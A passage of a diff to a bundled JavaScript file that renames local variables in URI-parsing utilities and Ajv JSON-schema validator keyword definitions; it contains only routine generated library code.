compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -28455,23 +28455,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -28487,79 +28487,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -28569,80 +28569,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -28651,130 +28651,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -30239,7 +30239,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -30248,7 +30248,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -30264,7 +30264,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -30273,7 +30273,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -30320,7 +30320,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -30332,7 +30332,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30352,7 +30352,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -30361,7 +30361,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -30387,7 +30387,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -30399,7 +30399,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30418,7 +30418,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -30427,7 +30427,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -30498,7 +30498,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -30510,7 +30510,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30541,7 +30541,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -30550,7 +30550,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -30607,14 +30607,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -30636,7 +30636,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -30644,7 +30644,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -30723,7 +30723,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30732,7 +30732,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -30851,7 +30851,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30860,7 +30860,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -30884,7 +30884,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -30894,7 +30894,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -31072,7 +31072,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -31080,7 +31080,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -31117,7 +31117,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -31127,7 +31127,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -31401,7 +31401,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -31409,7 +31409,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -31486,7 +31486,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -31494,7 +31494,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -31620,7 +31620,7 @@ var require_format2 = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -31629,7 +31629,7 @@ var require_format2 = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -31784,7 +31784,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag}}` }; @@ -31792,7 +31792,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -32291,7 +32291,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -32308,7 +32308,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -32379,14 +32379,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -32611,7 +32611,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error3(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -32625,7 +32625,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -33813,27 +33813,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -33881,11 +33881,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -33918,23 +33918,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -33950,79 +33950,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") 